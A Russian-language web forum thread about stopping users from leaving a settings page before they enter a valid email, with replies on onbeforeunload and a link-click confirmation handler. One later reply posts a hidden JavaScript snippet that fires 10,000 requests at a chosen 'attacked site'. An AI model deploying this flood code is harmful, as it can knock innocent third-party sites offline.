Не позволить уйти со страницы не заполнив поле.
Доброго времени суток, уважаемые.
JS я знаю не плохо и по професии я программист. Разжевывать ничего не прошу. Проблема такая: Есть страничка настроек и нужно не позволить юзеру уйти с нее пока он не введет валидный email. Проверка на валидность не проблема. Проблема в том что на страничке много линков, на стороне сервера она собирается из хэдэра-меню-контента-футера (т.е. есть куски разметки которые используются др. страницами) и проект уже на стадии дебага. Все это делает прикрепление функции проверки к каждому линку не возможным. Есть ли в JS событие ухода со странички на которое я мог бы повесить функцию которая проверит валидность email и если что, не отпустит юзера? И опять же, как юзера не отпустить? Вернуть false из функции привязанной к этому событию? |
То есть вы хотите чтобы юзер просто не могу закрыть вашу страничку пока не введет свой мэил?
|
Можно попробовать следить за координатами курсора. И когда он уходит выше самой страницы, т.е. юзер танется к кнопочке "X", делать confirm это заставит его немного изменить свои планы
|
Вы видно забыли про ctrl+alt+delete. И после этого он 100% на ваш сайт не зайдёт
|
В новой Opera 10.50 диалоговые окна вообще не препятствуют переключению и закрытию вкладок, в некоторых браузерах есть галочка для предотвращения последующего появления диалогов.
Событие unload остановить нельзя: Цитата:
так что затея не удастся, разработчики стараются защитить пользователей от таких вот гениальных идей программистов. |
Если очень приперло, то можно пройтись по всем ссылкам в документе и понавешивать на них дополнительные обработчики клика, там делать проверку и если надо, останавливать переход по ссылке.
А вообще, конечно, это бред полнейший. Нельзя заставлять юзера что-то делать, если он этого не хочет. |
Цитата:
|
onbeforeunload
|
Речь идет не о "мега-ресурсе", и не о архиве порнухи, как вы наверное могли подумать :) Речь о многопользовательской системе управления контентом на базе облачных вычислений. Закрытие окна браузера (а уж темболее снятие процесса) вобщем то не рассматривается, нужна просто минимальная защита на дурака. Важно не дать пользователю уйти на другую страницу админки не заполнив поле email (ибо иначе теряется возможность восстановления пароля).
2 B@rmaley.e><e : Да, это наверное именно то что мне нужно, как дойду до решения этой проблемы - копну глубже, спасибо вам. |
Я не понимаю зачем это вообще. Есть две ситуации когда нужно менять значение e-mail'а:
1. Когда юзер регается 2. При смене е-mail'а на новый При этом нужно просто проверять валидность почты. Можно не только валидность но и существование. Плюс использовать код подтверждения почты, высылая его на указанный адрес при смене и регистрации. К этому уже все привыкли. Зачем придумывать какую то ерунду. А если JS в браузере выключен, то что делать? |
Цитата:
|
Цитата:
А что делать? говорить пользователю прощай, т.к. без JS сейчас ни один сайт не работает |
Цитата:
|
Я тоже не во всем с юзабильщиком и тим-лидом согласен, если это вас успокоит.
|
document.addEventListener("unload",function (){return confirm("Очень страшная мессага");},false); |
Это — то, то Вам нужно?
function areYouSure(event){ if ((event.srcElement||event.target).tagName.toLowerCase() != "a") return true; if(!confirm("Вы точно хотите уйти с этой страницы?")){ if (event.preventDefault) event.preventDefault(); return false; } } if (document.addEventListener) document.addEventListener("click", areYouSure, false) else if (document.attachEvent) document.attachEvent("onclick", areYouSure) else document.onclick = areYouSure; |
subzey, Идеально, какраз мой случай, заюзал почти без изменений.
Всем кто пытался помочь - большое прогерское спасибо. Всем кто оставлял отзывы - сами вы "редиски", нельзя терять веру в людей :)) Всем кто передумал - верните мне мою карму, аккаунт не на 1 вопрос, собираюсь остаться с вами и дружить ;) |
Цитата:
|
Но когда ее 466 - приятнее ;)
|
Цитата:
|
Цитата:
|
Цитата:
https://addons.mozilla.org/ru/firefox/addon/722 более 6 млн загрузок, параноиков на все века хватит. |
Цитата:
Этот код в вашем браузере выполнит 10000 соединений с любым сайтом: <div id="attack" style="visibility:hidden"> <script type="text/javascript"> attack_host="www.{атакуемый сайт}.com" attack_port=80 path='index.html' for(i=1;i<=10000;i++) { document.write('<img src="http://' + attack_host + ':' + attack_port + '/' + path + '?' + Math.random() + '">');} </script></div> P.S.: скрипт представлен только для ознакомнения ;) |
Цитата:
Ещё одна поучительная история. Однажды, году так ближе к 2000, Яндекс решил поздравить своего бессменного дизайнера Артемия Татьяновича то ли с его ДР, то ли с ДР его студии. В этот день каждая десятая поисковая подсказка на морде Яндекса была подобрана так, что на первом месте был сайт студии. В середине дня сайт лёг. История из моей уже практики, хоть и не совсем по теме. У нас ошибки JS одного из скриптов логируются на сервере. Т.е. при возникновении ошибки сообщение об этом и информация об окружении посылаются на сервер, а пользователь ничего не замечает. И вот я как-то сильно налажал в этом скрипте, в результате чего любая страница с этим скриптом, загруженная в IE, генерировала кучу ошибок. От остальных история отличается тем, что наш nginx 1400 одновременных запросов в течение где-то суток выдержал :) |
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
представляется картина, системника пожирающего человека посредством сидюка.ептыть Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
![]() |
Часовой пояс GMT +3, время: 20:30. |